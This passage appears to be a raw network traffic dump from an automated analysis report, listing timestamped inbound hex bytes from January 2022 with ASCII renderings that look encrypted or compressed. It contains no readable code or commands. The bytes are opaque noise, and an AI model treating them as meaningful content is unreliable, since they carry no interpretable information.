b7 c9 a5 67 d2 e1 40 d7 21 b3 b7 30 e8 0f 27 d6 a1 46 3c 74 eb b7 5a 3b 10 e1 54 e9 77 a6 d9 ea 04 08 92 d4 eb 54 da 7f 
d1 c1 82 8b 52 05 66 0b c6 f3 3c d0 96 ac 40 69 2d 
Data Ascii: 8|f@%.!hID7vUI,Q3_2dzZWNiXsLqK+>;LeHsgTv}}SQpU57!tX)%Qg5@9BgLSZ(AL>X}n}J*g@!0'F<tZ;TwTRf
<@i-

2022-01-14 11:23:07 UTC 2966 IN Data Raw: f1 7c 11 2b b0 79 0c 5b c1 01 68 4a 1a e2 46 ac 8e 90 b9 d7 87 ec cc 31 3e 99 62 4f 88 bb 00 17 53 77 1a 8f 
a4 9c a1 b6 c2 51 bb dc 75 59 66 0b 50 2b 4a e0 ff e3 ee b1 36 11 4e 83 51 be 01 b2 27 67 bf db 7b 5a c1 f4 90 e9 13 f4 
bd 02 92 56 58 c5 93 c1 2f 8c fb 3b 58 a2 f0 f0 c4 67 6d ef 2e ed a1 e7 58 7f 67 2f 21 c5 90 4a de 94 b6 a4 12 aa 65 18 f2 
56 cf b1 46 15 51 93 0a 8d 3b 37 89 d1 75 da b1 37 29 48 54 55 da 09 07 ce cd d7 3a a1 d6 fa 88 bc dd 83 98 c4 ec 04 d6 
aa eb 72 e7 1a 8e 4b d2 85 13 e1 a9 f8 83 c0 a5 8c 6f e1 c7 be 07 e5 a3 43 0f 1a 92 36 68 db c5 af c1 cd 32 02 91 3f aa 
5b 9c 5b 90 c0 62 41 74 a0 a2 03 d1 e5 94 ea 41 55 b5 d2 56 16 dd ed 42 31 46 3b e6 e7 6b c1 c7 89 06 ae 3c b4 e6 c8 
17 92 95 89 16 07 e7 f2 68 4a 32 3e 47 8e 4b e1 a1 0d c9 
Data Ascii: |+y[hJF1>bOSwQuYfP+J6NQ'g{ZVX/;Xgm.Xg/!JeVFQ;7u7)HTU:rKoC6h2?[[bAtAUVB1F;k<hJ2>GK

2022-01-14 11:23:07 UTC 2982 IN Data Raw: db 75 1e b1 0f d0 77 eb a9 bb cb ad 8d da 19 32 77 8a a3 17 d9 dc 14 9c 48 17 80 5a 89 9e f1 5e 68 cb 6d bb 
89 9f c8 f9 95 3c 30 71 3d 3e 32 bc 71 5d 9b e5 82 28 13 6a 5f 9a 65 d2 da bc 13 1b 4e 2e 9f 1e 5d e7 a9 d5 d3 4d 51 93 
f2 4d 3a 32 14 4e 48 4d f6 d8 7e 76 b8 b1 6f 15 2e e2 55 96 e5 61 bb 7f b9 b1 01 00 c3 a1 f0 12 99 b2 cf 48 c2 d3 d3 56 
77 94 16 c3 31 fc 46 81 c4 60 54 4c dc 35 e7 66 38 25 f1 9b bb 9f ab 1b 83 4b 2a 10 db cc ba e8 06 d1 aa 09 12 04 7c 34 
b5 8a f9 5b 38 8a 30 c1 d3 33 8e 92 a0 c8 02 f6 12 5e 01 b2 93 b4 dc ce 4d ef 48 92 63 91 18 39 a8 b7 e6 a9 fc 11 9e e0 
01 2a e8 03 32 8e dd 87 06 db 2a da 33 87 6c 83 bf c2 21 6c ba 08 22 77 eb c7 c2 81 a7 0a 73 36 cc 22 ca ed d1 7b e6 22 
2b 09 a1 46 db 22 59 29 03 6a 13 18 fe 3e e8 ed c4 5d 73 
Data Ascii: uw2wHZ^hm<0q=>2q](j_eN.]MQM:2NHM~vo.UaHVw1F`TL5f8%K*|4[803^MHc9*2*3l!l"ws6"{"+F"Y)j>]s

2022-01-14 11:23:07 UTC 2998 IN Data Raw: 41 60 cc df 98 e3 60 66 da 17 5c 59 40 f3 a7 56 dc b6 1b ef a8 5a 97 09 4c ed ab db 5e 4f 2d 70 78 75 16 63 2f 
08 ce 13 f7 58 73 a2 6d 5d d0 eb a8 ea c8 f9 68 d7 ec 5e 66 05 ba 45 5a 74 f1 9c 93 1c 0f e8 1f 19 a9 b0 44 0f 64 ee e6 
34 c7 91 1c 9d 98 b0 31 ea 02 24 9d f4 7b ce d4 d6 b0 61 58 e5 2e 05 36 63 c0 1b 32 42 1c bc f2 a3 a7 ba 62 0b 47 81 0d 
7a 99 da 1e ca ad 36 ff a4 fc 29 24 18 4a 2d 5d 8d d5 90 d3 4f b0 05 27 bb be d6 41 64 86 f4 64 9c 7f 18 cb ec e8 4e 2a 
83 13 9e 55 6d 24 bb b1 dc 5b a9 66 8d 5f 29 0f 58 47 78 4c 43 72 c2 ad 3e 3a 17 75 c6 75 2f 75 9f 24 31 be 6d e5 cf 3e 
a2 c6 50 e8 15 fc 04 96 bf 10 0b b4 9f 82 1b 69 9a 9c b8 d1 b9 0e 39 26 5e ed 67 d4 0e 57 5f b7 14 19 53 52 0a 93 87 84 
dd ac a5 04 d3 d8 48 24 47 33 53 7e 34 f2 ab 94 ef df 
Data Ascii: A``f\Y@VZL^O-pxuc/Xsm]h^fEZtDd41${aX.6c2BbGz6)$J-]O'AddN*Um$[f_)XGxLCr>:uu/u$1m>Pi9&^gW_
SRH$G3S~4

2022-01-14 11:23:07 UTC 3014 IN Data Raw: 0f 16 5b 44 e3 7a 82 3c 86 0a 2a 92 1f 3d bd 9f bb ec 7d c4 3b 47 24 9c 07 2a bf 00 2a b2 97 b4 04 c5 f9 d3 95 
ed df 76 8e fe 95 9e 20 4c 3c 90 c1 47 7f f2 ac e2 7a cb 0b 06 50 4b 35 1c a2 1a ea 4e c9 b7 a7 10 03 3c 51 09 f4 01 2c 95
56 bd b2 be be 30 5c eb b0 3e 85 58 12 94 5a 05 38 fa 0c 4b 03 6a e8 24 a2 ee f6 8d 72 05 08 40 74 05 f7 96 90 4b 93 08 
65 2a 00 35 8f 5c 09 9c d6 44 40 2c 09 99 c0 0b b5 13 65 97 58 ff 5b e8 b5 1c bd 3a c4 6e e2 1d a1 b3 3e 33 a2 9d 8b 3b 
0c 31 2d 63 a8 d3 a9 c4 7a ad 5c 8e f2 f4 1a 6a 41 16 3d 21 87 3a 81 25 56 02 df 58 36 ba 5f b9 84 75 b5 c9 cc 92 a7 03 
7e aa 4e 8e ea c7 3d 25 bb a6 b8 d4 96 4f 78 11 2f 80 8a 98 12 fc f9 7e d5 4e eb aa 70 69 19 eb c7 05 c0 c9 4c f4 47 90 
0e 66 34 3c a9 d5 aa 35 ea 4f c7 20 f5 83 94 c4 df 
Data Ascii: [Dz<*=};G$**v L<GzPK5N<Q,V0\>XZ8Kj$r@tKe*5\D@,eX[:n>3;1-cz\jA=!:%VX6_u~N=%Ox/~NpiLGf4<5O 

2022-01-14 11:23:07 UTC 3030 IN Data Raw: ef 85 43 ed 8b 2b a7 53 64 7f 1b 25 3f 41 59 d2 a7 17 e5 f0 dc 12 3e 31 bf b8 ca c4 7e e7 c5 56 37 ec 4f c4 a2 
57 ee 43 13 55 ca 6c d9 b5 37 d0 ad c2 53 42 9a e6 1b f2 88 78 a5 41 84 52 6c 87 17 d8 48 f5 f6 48 e2 79 27 42 d7 9f 26 
e1 c1 41 66 1b 59 d6 3c 3a 8e bc dc fa 2f 1f e3 ff 01 cd 26 2b a8 f1 a9 82 14 8d 96 f1 cc b7 65 d1 c9 d5 4e 1a d8 85 74 13 
ef 04 cf 29 ec 56 4e e2 12 ff 5c 3a 55 f3 5b d0 cb d3 d3 d3 66 8b b7 24 48 8f d1 c2 47 c3 2b f1 77 20 10 26 76 55 09 da 7a 
9f 65 d3 fd 00 5d 63 6e 75 23 ea f8 13 fc ef 68 e8 54 01 54 8f f2 73 06 11 f2 6d 48 2d 3b d9 9a f5 bb f0 17 cf 26 2f 09 a2 
02 54 2e 57 cf e9 34 9e 2e 0d dd de 92 dd 3e 93 6f 52 38 50 b8 37 22 f2 6a 51 f9 7f 12 a5 6e e6 09 2e 69 47 7a 18 65 f5 
1c fc ef 96 4d 21 1e 8e 2d 58 86 b5 5f 25 2b 
Data Ascii: C+Sd%?AY>1~V7OWCUl7SBxARlHHy'B&AfY<:/&+eNt)VN\:U[f$HG+w &vUze]cnu#hTTsmH-;&/T.W4.>oR8P7"
jQn.iGzeM!-X_%+

2022-01-14 11:23:07 UTC 3046 IN Data Raw: e1 01 0a 52 77 fd 5e f4 eb a2 7d db e7 33 aa 5f b7 c7 0a cc eb 15 a3 91 ab 33 28 d5 36 30 7a ae 43 cd 10 c3 
b3 c2 d7 4b 82 11 8c ad 12 fb 7a 82 13 9b 24 15 c2 24 2d e2 e4 18 7d 31 90 fc 2f 9f 8c 7d 4b a6 6c d8 a1 e8 44 d2 66 29 
02 76 19 d3 60 22 13 71 ca b9 8e ea cd b3 ef 91 4f 22 e5 44 11 42 90 7f 27 74 68 ad a6 bd 1b 26 c4 3f 46 74 f3 6f ec 4c 26 
bf 7c f6 7c 66 e1 0a 4e 6d 90 c2 bb 6f 58 28 08 3a d4 81 7d a3 ed 3c 38 26 e4 a6 99 3b c6 b7 ad 92 db 6d 37 7f a5 56 aa 
44 90 6a e2 f5 ef 55 ea 22 1a 21 7a b0 c0 7a 67 1d 53 73 59 c4 5e 7d 77 dd ef f7 55 c4 67 bb 88 fc 31 b8 90 0e f4 06 32 
0b 8b 37 b0 54 5d 9d ee ce 8d 61 61 58 54 7b 9d eb 4f 62 fb bc ba 08 76 65 c6 da 0f 25 e4 cb c0 8b 9c b6 26 97 22 89 e8 
24 65 dc 92 eb c7 1f f3 7b 87 b4 63 27 61 45 d2 a0 64 
Data Ascii: Rw^}3_3(60zCKz$$-}1/}KlDf)v`"qO"DB'th&?FtoL&||fNmoX(:}<8&;m7VDjU"!zzgSsY^}wUg127T]aaXT{O
bve%&"$e{c'aEd

2022-01-14 11:23:07 UTC 3062 IN Data Raw: e9 82 04 f4 03 76 84 ef b4 56 51 c1 24 02 85 36 ac 8b 00 f2 59 1d 46 d8 2f 4b 0b f3 70 95 84 ef fa 7d 67 fe 1a 
56 74 09 f3 18 b5 60 eb 50 58 50 b4 50 42 17 d3 8d 4b 5c f6 af 38 eb 8d b7 e2 06 67 1e 17 7b 06 35 60 64 55 ec ae f0 8e 
b8 45 03 ae 12 77 13 96 a9 23 25 d0 c7 00 8a 62 ca 79 57 d2 13 70 77 b9 1c 5f 94 35 a0 ed 8a 73 58 63 73 02 14 6c f2 85 
77 21 00 2a 17 33 4c eb 26 be a2 0c 4b 93 64 0e f2 92 47 5f 8c 10 a7 cd 4f c2 84 bb ff 7b e1 63 36 45 9e 7d 96 51 06 3d 
96 66 81 d6 1e d6 24 45 d8 d3 ce bc 04 80 46 68 af 8c cd 34 49 30 77 a5 8e b6 20 a2 71 eb f6 75 e7 c6 9a 37 eb 7a e7 2e 
02 e0 b0 38 68 08 ef e4 ae c7 a4 7d f8 f6 c6 7d 19 da ff a8 a9 4d 77 1c 0e ef d6 14 e6 4b ea 28 c8 f6 f2 09 c9 f3 76 f2 e6 
15 a0 50 f7 a9 c2 92 1b fa 6a 7d 58 c7 a1 35 cc 64 
Data Ascii: vVQ$6YF/Kp}gVt`PXPPBK\8g{5`dUEw#%byWpw_5sXcslw!*3L&KdG_O{c6E}Q=f$EFh4I0w qu7z.8h}}MwK(vP
j}X5d

2022-01-14 11:23:07 UTC 3078 IN Data Raw: 28 ce ca d7 8d 0d d0 2d 49 e3 11 c0 21 09 1f 80 e3 c8 00 76 a1 2e 19 8c 9d d7 13 34 ce c7 2a b0 c8 62 ca fb 
d9 47 2c d0 23 84 72 e7 ff ff 8e 58 b2 7e d7 a9 9b 93 f7 31 bc 8f 17 d4 fc 45 e2 09 07 92 4c 6b e7 4f 42 f7 30 83 71 d3 97 
86 8f a7 4f 15 d7 58 18 81 af 50 9d c2 9f 8d 2c 5f b7 80 86 7e 88 ca d2 d6 2d fa 6e 1d 67 98 35 e0 8e 68 ca 17 c3 2c 41 93
e0 a0 d7 3a b8 91 a3 f1 d0 93 08 88 8d e9 25 9b 29 1a 59 c6 dd f5 0c b9 c8 0e 87 a4 f9 c3 b1 9f 5a 7e 80 80 69 cd fe 3b 0f 
7e 56 be 31 fb 96 d3 92 f7 fd 4d 17 35 9f 0c e4 8e ab 95 4b a1 5f 7c 9a 73 a9 16 44 b4 6f 78 1b 7e bd 7d 9b 80 37 6e 0e 
85 b1 84 74 31 36 1a bd 39 95 42 e1 d1 5c fb 78 ed 6e 7e 84 f4 ba f6 11 6f 1b 13 e7 c3 bd c5 cc 4b dd 0f 11 b1 71 d5 51 
11 4c 70 8b 26 f2 af 56 26 f1 7d 77 cc fc dc 17 
Data Ascii: (-I!v.4*bG,#rX~1ELkOB0qOXP,_~-ng5h,A:%)YZ~i;~V1M5K_|sDox~}7nt169B\xn~oKqQLp&V&}w

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 3094 IN Data Raw: 2a 47 c5 71 d1 ca 39 0d d2 f7 33 00 f5 d5 b5 69 e1 cc 61 c4 6a 55 76 4b 25 74 73 50 91 5c 91 05 88 36 40 93 
f0 62 de 11 88 8d c4 65 2d 9a d0 d4 dd 68 a4 bb 17 4b 86 e3 ec 18 b5 8f c2 2e a2 2b e4 9d 44 d2 93 97 09 f3 6c 92 42 04 
11 3b f8 45 b1 fb 7e 6c c5 98 51 26 a6 41 24 04 92 70 8e da 91 f5 ea 4d fe ad 81 6c e5 9d 63 dd f2 f5 68 63 ac e5 39 c9 
e2 c2 7c 5e eb 10 51 d3 cb ae 84 e1 0b a9 c1 e3 42 a4 6e d6 d3 7b 74 01 16 98 b4 bb 47 2e ba da b7 d5 68 a8 98 e3 a4 
5f 68 5d b0 1f fc 1e 46 12 cd ca 2a 9b 46 1c 0c b4 09 9a 55 53 14 d0 c9 12 90 f1 6f 0b 2e 50 d5 9e 0f 5e 7d 42 cb ca e8 f3 
23 1d f0 93 f1 dc f7 a8 c3 ee 5a e5 fc 60 68 44 86 5c 50 7d 9c 3d c9 82 f9 3d e0 15 70 04 1c 5c 4f 89 19 96 99 a3 45 d3 c2 
d5 8b 89 f5 67 7f 6b 0b ca ff 2a 10 d1 fc bf 46 f9 35 
Data Ascii: *Gq93iajUvK%tsP\6@be-hK.+DlB;E~lQ&A$pMlchc9|^QBn{tG.h_h]F*FUSo.P^}B#Z`hD\P}==p\OEgk*F5

2022-01-14 11:23:07 UTC 3110 IN Data Raw: d3 4b 71 dd 91 77 5a 99 fe 42 46 cb f4 ed 87 3c 85 4c 2c 0e e5 cf 4a b5 37 b7 3a ec 65 71 e0 ad 77 28 ac 5e 6f 
a4 bf 3b cc 9a 13 e5 fc 57 f5 b2 66 4a 6b e8 01 36 9f 6b dc 71 9e 7e 36 c6 2e 4e 3d f0 cf aa 4c 3a f2 3a b8 3a 5f f1 31 72 
fd 7d 72 52 ec 97 cc df 79 d4 a4 1e d9 ad a2 f1 ee 54 b3 89 64 6a 06 12 ea d7 2d 86 66 38 21 b3 38 67 06 3e 14 86 71 55 
a1 8a 54 f7 48 91 82 fb 88 bb d4 f3 e2 8e 49 e9 95 1c 79 1d 23 c2 ec f1 6d 6b 1f 11 03 68 63 3e 71 cb 67 b4 5b d8 76 d4 
06 ed 62 1f b3 99 90 0c 61 87 42 d7 ac 6f b4 5d f7 e1 78 01 7f 47 25 e8 79 69 66 b5 f2 9a 0d f7 db fa 2e 6d 8a e9 03 67 c6 
b5 79 2f 18 a7 fe 78 21 ec 39 28 40 73 6f dd 7c 1e 08 1c 37 a5 e5 14 c4 0b f3 4c bc 5d 99 9a 95 77 fe a4 58 45 6b 1c bc b2
42 22 d8 db 43 a2 97 17 62 96 ee c9 11 9d 49 
Data Ascii: KqwZBF<L,J7:eqw(^o;WfJk6kq~6.N=L:::_1r}rRyTdj-f8!8g>qUTHIy#mkhc>qg[vbaBo]xG%yif.mgy/x!9(
@so|7L]wXEkB"CbI

2022-01-14 11:23:07 UTC 3126 IN Data Raw: 53 f4 56 99 30 4e 17 6d 37 ec ba 90 5c 5b 2e bc 47 22 f0 3b f9 6c e2 ef e3 b9 3a 5e 9c 3a 50 12 e8 85 a2 5f d3 
b6 79 40 0b a8 fd 1d 89 d6 29 a4 9c 22 22 2a 15 0b 0f 77 b4 13 83 b8 f9 8e b0 cf 80 ed 1a cb 57 8c f3 c6 bd 80 2b 4e be 
45 25 99 47 ea 05 52 2c 12 a0 af e9 3a c8 ca 33 c5 9d c4 cd 63 fd 5c 81 ea f4 6c 86 fc 63 8d d9 91 82 63 3b 8d 9f b8 83 c1 
d5 e0 84 b6 7e 3a ed c3 79 3f 28 51 3f 62 a2 aa af ae 27 4c a0 1d 9d 70 5d 10 9c 55 cf 75 c8 2d 70 ee c7 f3 1d 44 60 cb 
28 89 d1 0a e8 e3 b6 6a 1f 51 46 f8 66 fe 9c 2d 84 f9 ab 71 a5 ce d6 91 67 69 06 58 66 fa 4a fe 50 87 33 97 04 f4 d4 19 1a 
19 13 26 1a aa 76 3b e9 c5 89 c0 48 c7 73 bb e4 34 7c e7 4c 5d 45 82 8d 15 27 e1 4c 04 97 17 de ee 68 5f b4 43 93 d9 5a 
77 07 3b 87 d6 d4 10 03 a3 3f 70 53 6e f8 07 3c 
Data Ascii: SV0Nm7\[.G";l:^:P_y@)""*wW+NE%GR,:3c\lcc;~:y?(Q?b'Lp]Uu-pD`(jQFf-qgiXfJP3&v;Hs4|L]E'Lh_CZw;?pSn<

2022-01-14 11:23:07 UTC 3142 IN Data Raw: a0 24 ed f6 c6 91 33 f5 14 45 71 f6 b2 ed 86 b7 52 ba ee b9 2c 7e 1a 41 7b ac 8a 85 82 57 1a fa 5f 4f f9 e8 35 
fd 91 0b fa 11 49 f6 98 bf f0 29 36 cb 8e c7 b6 1a 71 f3 c4 b5 c1 09 5e db 49 25 9e e4 00 ec 6d 5a a5 16 74 0a eb d7 ec de 
2f 84 30 7d 2e 17 74 ce 72 ae f6 a5 f6 bb cf 9a ac 1a 31 6c c2 6c f1 8f 2f 8e 61 26 f9 ed b1 66 ad a6 d3 c0 9b 61 a8 08 92 
c2 0e 4e 3b a3 06 1c c0 66 a7 95 f1 3e 75 75 b8 01 a9 a8 49 a1 ef 52 90 bd 51 00 44 be ba 98 d7 50 7a a8 7f ce 5d c1 97 
0a 1d 5b e8 a3 57 03 d2 55 81 d2 65 a1 da e5 b2 f0 6b de 82 a4 66 58 d4 6f d1 a9 ba 99 90 4d c2 f8 7e 13 bd 4a 58 15 48 
39 78 e4 b9 6a d8 7e 85 2a c0 09 0d 9c a4 04 88 e8 1a 6e ec a9 82 fe 0f 3b 11 d9 41 0c e5 cc a6 16 f2 dd d5 89 42 91 b8 
a8 7a c8 60 c1 f1 27 83 da 27 d4 6a ca f3 8c d4 
Data Ascii: $3EqR,~A{W_O5I)6q^I%mZt/0}.tr1ll/a&faN;f>uuIRQDPz][WUekfXoM~JXH9xj~*n;ABz`''j

2022-01-14 11:23:07 UTC 3158 IN Data Raw: d3 22 4c 4d bb 76 ad 1f 25 7c 15 df 5a 93 54 cd ff 78 96 96 be c7 bf ed 3b 86 e5 d0 e3 8a 8d b6 e5 a1 8e 9c c6 
a7 1f db c5 72 5c 5f b3 f4 2e a9 33 6a 40 fe 6c f2 01 4a 15 78 c0 07 35 f1 e0 4f 6d a7 e6 c8 2d b3 8a d4 e9 eb 14 a2 e5 03 
b6 12 3a de 8b cc 63 17 a3 a8 65 9c 06 4e 27 45 fd a3 20 c1 60 36 0e bf b4 c2 f7 92 b0 8c 47 2d 30 28 ff 61 97 e3 df 7a 96
b9 51 49 e8 35 5a 22 9e cb 14 fb 83 8d 5a 0d 13 f6 4e ec b1 39 05 e4 4e c4 63 d7 32 ff 33 50 ed 2c 9d 51 88 61 33 70 a5 
ae 1c 3e 84 f2 2e a4 0e 56 b8 4c e5 29 31 09 57 eb df d4 e4 b7 fd e6 31 65 19 96 62 2d 6a 4d 37 e7 2b ba e9 59 ee 9e 82 
af 53 dc 62 d7 e4 7d c4 8d a3 d3 bf b4 8a 21 44 10 ba 16 8a 28 59 5d 4b 0f 4c a8 49 ac 63 91 c4 16 48 66 9f 14 02 e9 2a 
19 2c fe 97 76 7f 33 58 ab f5 5a 9a 1f 36 49 2b 
Data Ascii: "LMv%|ZTx;r\_.3j@lJx5Om-:ceN'E `6G-0(azQI5Z"ZN9Nc23P,Qa3p>.VL)1W1eb-jM7+YSb}!D(Y]KLIcHf*
,v3XZ6I+

2022-01-14 11:23:08 UTC 3174 IN Data Raw: ff 76 43 03 ac 20 12 85 38 45 18 f4 32 c5 69 44 ae cd 65 d7 bd f1 7d 15 f7 ac e9 82 ff 16 e6 de ff cb c2 8c 1b 40 
7a 4d 13 d7 b9 56 08 c4 65 4e db 0e 39 68 2e a5 6e df 95 7c 1d 5f 17 76 85 22 4d 52 bb f5 c1 7b 59 5e 43 89 83 05 8d a5 
cb 41 e7 c1 52 89 17 54 e7 47 01 75 af 94 4e 3e 7f 5d 3c dc 10 92 42 8c 4d 3b a0 db df 7b df 2e 8f dc b5 3c 08 3b 35 3b 
13 ac 2b 29 34 d3 d8 50 9f 6e 55 17 9c 9c c2 e0 ae fa 4d 1c 90 6b 90 52 bc 7b 2c 60 ea 46 92 d2 e4 15 03 04 52 4a de f5 
c6 89 13 e2 c2 1b 55 64 0b 3c e9 49 5a 68 a9 f6 9a 75 5b 3c 1c 11 68 e7 37 d9 cf 93 7a 0f 7f 09 ad c2 fe 1f 91 a2 45 40 e6 
b8 7a e2 13 62 39 55 8c 9d ce ea df 29 a1 d2 8f c8 69 90 59 57 6b 3a 8c 5d 69 2c f9 5e 44 59 ec 0e 8a be 1a f4 64 db bc 
26 24 6e 65 66 08 ff 85 80 6c 9f 40 75 34 bb b0 
Data Ascii: vC 8E2iDe}@zMVeN9h.n|_v"MR{Y^CARTGuN>]<BM;{.<;5;+)4PnUMkR{,`FRJUd<IZhu[<h7zE@zb9U)iYWk:]
i,^DYd&$nefl@u4

2022-01-14 11:23:08 UTC 3190 IN Data Raw: a4 ce cf 58 32 8d 9c 81 47 d7 f2 4e a0 60 2c 94 7c fe 57 46 ca 4e d1 86 c5 98 76 d9 5a b3 15 5f bb b9 70 91 4f 
5d a5 58 6c c9 0e b3 ac 84 57 2e 3c 7b 0d 4f 97 11 74 f5 6e 4c a8 70 2e 1f 86 97 5d 9e 68 00 a0 03 72 12 c3 a3 3f c0 09 
70 32 5e 34 de 02 86 1a a3 82 42 cd 75 de 6a 48 99 4a 6e d4 eb e8 c1 97 a7 98 da 54 5a bb 19 aa 7f 88 42 f0 4e 18 bc e1 
29 1a 66 7a e5 53 66 81 e4 f7 c6 2d 03 d2 d0 ff 06 fa 90 e1 fa 94 7b a4 72 47 91 41 37 1e 11 43 39 19 75 54 66 06 b9 e6 
95 e6 87 49 28 4b fd f2 52 04 79 03 ae 2d 74 c6 03 c2 96 20 cc 9e d0 85 13 dd a3 35 29 4a 43 9a 87 ae 62 9c 6c 9b 09 03 
fa 55 dc 53 48 4d af e5 67 3b 75 65 66 c1 9d 5f 01 ea 5a 5e 4e 53 78 bc 6b 4b 9e ea 73 e9 2e 01 34 9f 2b 87 43 e6 ea 37 
ec a2 0b 83 c8 1b 47 df e5 97 19 4b b8 dc d6 20 46 63 
Data Ascii: X2GN`,|WFNvZ_pO]XlW.<{OtnLp.]hr?p2^4BujHJnTZBN)fzSf-{rGA7C9uTfI(KRy-t 5)JCblUSHMg;uef_Z^
NSxkKs.4+C7GK Fc

2022-01-14 11:23:08 UTC 3206 IN Data Raw: 77 9e 22 6f 54 d2 7f 0c fd b2 1d 78 95 ac 75 9a 82 76 9f ef 3f 58 ff 78 fd 6c 32 8e 39 0c 65 86 29 df d7 42 d3 e5 
9a df 26 f5 13 79 17 23 10 8d 2f 71 76 8e 9f ed 40 07 d8 33 5b 82 1d c4 8b df 1d e1 f0 5e c4 56 6d 60 7a e9 48 d7 b3 06 
73 be 19 f2 b5 48 1f df fe 11 71 24 c1 24 20 2c 8e eb ad 18 93 69 f2 a9 c4 49 b0 32 80 fa f3 24 fe 22 04 72 aa 8b 20 0b dc 
54 d2 96 68 73 71 60 ca 80 a1 cb 7c 20 29 a6 bc f0 ae 70 0a b1 25 25 5c ec cf 37 b0 d0 a7 98 1b 26 41 d3 b0 e9 16 fc 9a 
38 b6 84 b9 e0 4a b2 22 66 90 5c f1 aa 24 d2 bc 20 f1 39 43 a8 4d 67 9a 61 07 db c5 38 34 fd 9f 5a 01 b9 9a 22 a9 8f 22 
c1 03 ce cb a7 fd 6e 84 65 64 32 da 72 27 12 0e c7 61 fb f4 b3 1d bd 49 94 d9 69 a5 6b ab 4b 86 c6 5e a5 b0 22 9a 26 9b 
ba cb c3 d8 ae fb c8 8d e4 4f c6 99 c4 ff 1d de 
Data Ascii: w"oTxuv?Xxl29e)B&y#/qv@3[^Vm`zHsHq$$ ,iI2$"r Thsq`| )p%%\7&A8J"f\$ 9CMga84Z""ned2r'aIikK^"&O

2022-01-14 11:23:08 UTC 3222 IN Data Raw: 65 90 3e ad 9c d1 3d 8d ba 2a 6a 2f 4a eb 37 9f 78 e2 d1 2c c6 ee cc 45 f9 9f 9a c9 de 51 25 44 99 d9 fe e2 4e 
e7 38 5d ea f5 c5 78 ac 50 03 08 7b 49 c2 6f 09 15 bf ed 18 c9 81 5f 54 5f f8 54 83 df 33 37 9d c4 d3 24 d9 29 1f f6 6a be 
58 0d 98 7a ee bb ea a7 f2 3e 96 a7 3f 97 43 1a 61 4e 56 91 7d 94 19 40 91 40 66 76 1a 4d a5 cc bc 3c c4 e1 33 74 f1 0b 
b0 21 8a 83 b9 33 16 f5 65 ce 3a d2 48 42 28 83 ed b0 1e c0 ec e9 09 0d 36 48 f6 2e 69 1d 78 d6 f5 6f e9 de cb 0d ba bf 
33 d3 87 00 67 37 68 f7 1a c9 31 4e 6a 30 11 2f e2 3a 2f c3 17 be 80 f4 04 ef d5 41 b4 d5 23 fb 8b 8a 04 2e 68 71 9f c1 e2 
4f 63 5c 89 94 97 72 ef 27 30 2a b3 d2 ca 44 21 9d 96 29 8c 6b 09 cc 62 ab 19 6b e3 45 a8 74 f6 1c 5d 6f 70 9c d9 8d 6c 
39 1a 06 b0 4c 05 38 32 70 09 01 36 84 71 bd 45 
Data Ascii: e>=*j/J7x,EQ%DN8]xP{Io_T_T37$)jXz>?CaNV}@@fvM<3t!3e:HB(6H.ixo3g7h1Nj0/:/A#.hqOc\r'0*D!)k
bkEt]opl9L82p6qE

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:08 UTC 3238 IN Data Raw: a4 da f0 51 c5 d4 d9 ea 72 67 ef 9a db f2 13 b0 5a 6b 77 68 24 2a 41 c4 f2 e2 01 69 c0 8f 43 22 91 b4 26 3e 9c 
f3 ce ce ac fa ed 24 06 26 76 7e 84 3e 0b 2a 83 a2 fc 78 91 9d 24 3e 60 20 8c a2 2c 77 62 d5 74 27 ca 64 9b f9 c7 d5 e9 
fd 88 f7 ee 9b cd db 98 50 cd 82 91 26 d0 94 1c 4e 8f 08 20 7f f9 fa 61 41 87 2b e3 ae 98 e0 82 e1 9e 95 83 b2 d3 1f 87 45 
b2 9d 5e eb 58 e8 9a 56 06 52 e9 91 2d d1 ac 02 7d 9b d3 df 32 a8 1c 62 10 2f 10 fa fa 3d 0f 66 6b a8 7b 43 d4 b6 1a db 
85 23 f5 cf ed f6 29 28 96 53 60 ad 9f 16 8f 6e fb 55 bf 0c a6 05 f3 52 f2 2f 91 26 b7 4f 0b af b9 7c fd 31 70 29 9e 86 6d 76 
8c 1d 35 81 84 f6 80 b3 81 9c d1 84 cf 8d d3 ed 81 dd 1f de 53 69 e6 5a 3f 20 96 72 32 2c 4c f6 4d 1b 46 e1 e5 5d df 69 
8e d9 b2 e8 6e 24 b6 c1 ea d1 73 6c 88 75 ba 
Data Ascii: QrgZkwh$*AiC"&>$&v~>*x$>` ,wbt'dP&N aA+E^XVR-}2b/=fk{C#)(S`nUR/&O|1p)mv5SiZ? r2,LMF]in$slu

2022-01-14 11:23:08 UTC 3254 IN Data Raw: 9b 5c 88 62 71 9b 9e 41 fa c3 0f 36 5e 04 b1 e7 26 96 6f 79 0e 19 8c 27 9b a1 52 6b 82 36 41 2a c0 aa ea 32 
65 05 57 cd 34 ba 24 c3 a4 b0 45 d6 86 78 04 be 12 77 f2 a6 87 fd c1 88 24 82 ae 79 89 fa c8 af 0c 63 bc c2 31 98 44 c3 
09 2b 54 1c 09 d5 f3 ab 73 e3 04 b9 c4 ff 08 c5 07 8f 67 20 f1 ed 91 2a 79 1b 24 f6 5a 62 ea 7b 42 56 72 fc 5c e9 a0 d4 70 
03 e9 c7 7a 06 05 c1 99 43 a3 5f 54 c9 60 75 58 af ae b8 4b 06 76 2f 78 38 fc e1 a5 c5 0e c1 e2 22 4c 54 86 26 e2 79 b7 
56 59 91 a8 68 e9 90 fb 44 b5 c6 1c 1e 79 fe fd 17 3c d1 67 fe 49 1c b2 7a 8b 34 56 79 d1 82 f8 3e 8e 7f 90 5b 06 8d 39 3e 
be f7 80 bc 2e ac 79 5c 5b 98 d1 e6 b8 ad 75 bf a4 c6 8e 41 c8 12 7a 56 83 e2 0e 07 e9 ff 44 1d 15 f4 96 5d 0f e2 c1 77 51 
58 66 7b 46 81 af cc a8 c3 aa 55 73 4e c9 23 f5 
Data Ascii: \bqA6^&oy'Rk6A*2eW4$Exw$yc1D+Tsg *y$Zb{BVr\pzC_T`uXKv/x8"LT&yVYhDy<gIz4Vy>[9>.y\[uAzVD]w
QXf{FUsN#

2022-01-14 11:23:08 UTC 3270 IN Data Raw: 8c 21 4a 99 f6 e4 72 76 db 04 35 94 57 17 3e 90 f0 e3 22 ed 7a ab 3c 01 0d 81 50 86 c1 b6 65 40 b4 23 b4 db 
06 56 c8 d3 cf 4b 57 aa 77 f7 c2 aa e6 dc 99 bf 9f f7 3c 48 b9 3b 43 7e 6b 23 33 86 84 74 37 86 ed d8 bd f9 62 e1 28 6d 23
